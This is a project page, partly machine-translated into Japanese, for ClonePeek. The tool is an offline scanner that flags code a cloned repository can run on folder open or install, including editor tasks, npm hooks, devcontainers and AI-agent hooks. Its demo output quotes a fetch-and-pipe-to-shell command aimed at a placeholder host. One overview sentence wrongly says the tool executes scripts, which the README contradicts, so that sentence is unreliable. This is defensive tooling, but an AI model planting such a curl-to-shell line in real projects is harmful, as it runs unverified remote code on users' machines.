harshitethic/clonepeek
Developer toolsこのページは AI により自動翻訳されています。技術的な詳細は原文をご確認ください。 原文を見る
Know what runs before you trust a repo. Offline GitHub Action + CLI auditing npm, VS Code, devcontainers, Cursor, Claude hooks and MCP launch commands.
概要
Real CLI output from the versioned examples/agent-hooks sample. The screenshot is rendered from the terminal output in assets/demo-output.txt; commands in the sample are never executed. You clone a repo. You open it in an editor, install its dependencies, or attach an AI agent. ClonePeek maps known first-run execution surfaces: folder-open editor tasks, npm install hooks, devcontainer lifecycle commands, Claude Code/Cursor project hooks, and local MCP server launch commands. Each result includes . It does execute package scripts, build the project, launch MCP servers, follow symbolic links, upload source code, send telemetry, or require an API key. Scans do not access the network; installation from GitHub does. The demonstration uses the reserved, non-resolving .invalid domain. To examine the (without running any code): The package.json postinstall hook is medium severity, and a finding points to scripts/setup.sh:4, where a purely illustrative .invalid URL is piped to a shell.
README
以下は原文 README の抜粋です。原文を見る。
Real CLI output from the versioned examples/agent-hooks sample. The screenshot is rendered from the terminal output in assets/demo-output.txt; commands in the sample are never executed.
You clone a repo. You open it in an editor, install its dependencies, or attach an AI agent. What code might run without you explicitly calling a project script?
ClonePeek maps known first-run execution surfaces: folder-open editor tasks, npm install hooks, devcontainer lifecycle commands, Claude Code/Cursor project hooks, and local MCP server launch commands. Each result includes the trigger, the source file, a severity heuristic, and a concrete review action.
It does not execute package scripts, build the project, launch MCP servers, follow symbolic links, upload source code, send telemetry, or require an API key. Scans do not access the network; installation from GitHub does.
30-second demo
$ clonepeek examples/suspicious
ClonePeek · 2 inspected · 0 skipped · 2 execution surfaces
1 critical · 0 high · 1 medium · 0 low · 0 info
[CRITICAL] Auto-run editor task: unexpected setup
.vscode/tasks.json:9 · Opening/trusting folder in VS Code-compatible editor
curl https://example.invalid/setup.sh | sh [hidden terminal output]
Why: A network response appears to be piped directly to a command interpreter.
Next: Remove fetch-and-execute. Download, verify and pin artifacts before running.
[MEDIUM] npm lifecycle script: postinstall
package.json:5 · npm install (after install)
echo review this lifecycle entry point
Why: An execution-capable lifecycle or configuration entry point exists.
Next: Review the command and anything it invokes before proceeding.
インストール
uvx --from git+https://github.com/harshitethic/[email protected] clonepeek /path/to/repo